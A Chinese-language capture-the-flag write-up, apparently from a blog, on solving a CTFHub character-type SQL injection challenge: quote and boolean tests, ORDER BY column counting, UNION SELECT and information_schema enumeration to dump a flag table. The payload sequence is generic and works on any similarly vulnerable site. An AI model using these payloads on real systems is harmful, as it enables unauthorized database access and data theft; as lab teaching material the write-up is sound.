1. 程式人生 > 其它 >CTFHUB-WEB-字元型SQL注入

CTFHUB-WEB-字元型SQL注入

CTFHUB-WEB-字元型SQL注入

我們先就這此題來了解下如何去判斷是否是字串注入
如何去判斷
1.加單引號,由於固定情況下,資料庫此時的語句為select * from table where name = ‘admin’
,加入單引號會引起報錯,頁面不回返

id=1'

在這裡插入圖片描述2.加入

?id=1' and 1=1

在這裡插入圖片描述這裡就需要加註釋來進行繞過
一開始我想使用#來進行註釋,結果發現被網頁轉碼了,我們換一種註釋–,為了防止再次被轉碼,我們在–後面加上+

id=1' and 1=1--+

在這裡插入圖片描述3.輸入

id=1' and 1=2--+

發現頁面再次報錯,這個時候就可以確認是字元型注入了
解題思路:

首先查詢欄位

id=1' order by 1--+

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述當引數為3時報錯,說明欄位數為2
使用union聯合查詢檢視注入點

id=1' union select 1,2--+

在這裡插入圖片描述我們發現注入成功卻只返回了一條資訊,是因為這裡頁面只能顯示一條資訊,這裡我們將1改為-1進行注入,就可以返回我們需要知道的資訊點

id=-1' union select 1,2--+

在這裡插入圖片描述我們可以得知要查詢的資訊放在了第二個列處
查詢當前資料庫名

?id=-1' union select 1,database()--+

在這裡插入圖片描述

id=-1' union select table_schema,group_concat(table_name) from information_schema.tables where table_schema='
sqli' --+

查詢資料庫sqli中的表名
在這裡插入圖片描述

union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

獲取所有欄位名
在這裡插入圖片描述查詢資料庫指定表的列的內容

union select 1,group_concat(flag) from sqli.flag --+

在這裡插入圖片描述